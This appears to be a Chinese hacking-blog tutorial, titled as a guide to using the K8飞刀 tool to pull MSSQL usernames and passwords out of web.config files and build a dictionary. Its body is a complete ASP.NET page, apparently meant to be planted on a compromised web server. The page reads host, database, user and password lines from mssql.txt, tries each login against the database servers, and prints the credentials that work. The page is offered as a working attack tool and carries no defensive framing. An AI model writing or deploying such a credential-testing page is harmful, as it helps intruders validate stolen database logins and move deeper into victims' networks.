[教程]K8飞刀 web.config处理提取MSSQL用户密码并生成字典
http://qqhack8.blog.163.com/blog/static/11414798520162201449286/<%@ Page Language="C#" %>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<script runat="server">
protected void Page_Load(object sender, EventArgs e)
{
}
private void sqlscan(string sqlhost, string sqldb, string sqluser, string sqlpass)
{
string connectionString = "Data Source=" + sqlhost + "; Initial Catalog=" + sqldb + "; User ID=" + sqluser + "; Password=\"" + sqlpass + "\";pooling=false;connect timeout=5";
using (System.Data.SqlClient.SqlConnection conn = new System.Data.SqlClient.SqlConnection(connectionString))
{
try
{
conn.Open();
if (conn.State == System.Data.ConnectionState.Open)
{
Response.Write(sqlhost + " " + sqldb + " " + sqluser + " " + sqlpass + "<br />");
conn.Close();
return;
}
}
catch (Exception)
{
;
}
finally
{
conn.Close();
}
return;
}
}
protected void Button1_Click(object sender, EventArgs e)
{
System.IO.StreamReader sr = null;
System.IO.FileStream fs = null;
StringBuilder output = null;
string mssqltxtPath = Server.MapPath(".") + "\\mssql.txt";
using (fs = new System.IO.FileStream(mssqltxtPath, System.IO.FileMode.Open, System.IO.FileAccess.Read))
{
using (sr = new System.IO.StreamReader(fs, Encoding.Default))
{
output = new StringBuilder();
string line;
while (!sr.EndOfStream)
{
if ((line = sr.ReadLine()) != null)
{
if (line.Length != 0)
{
string[] MssqlInfo = line.Split(' ');
string sqlhost = MssqlInfo[0];
string sqldb = MssqlInfo[1];
string sqluser = MssqlInfo[2];
string sqlpass = MssqlInfo[3];
sqlscan(sqlhost, sqldb, sqluser, sqlpass);
}
}
}
Response.Write("Finsh!" + "<br />");
}
}
}
</script>
<html xmlns="http://www.w3.org/1999/xhtml">
<head runat="server">
<title></title>
</head>
<body>
<form id="form1" runat="server">
<div>
<asp:Button ID="Button1" runat="server" OnClick="Button1_Click" Text="Check" />
</div>
</form>
</body>
</html>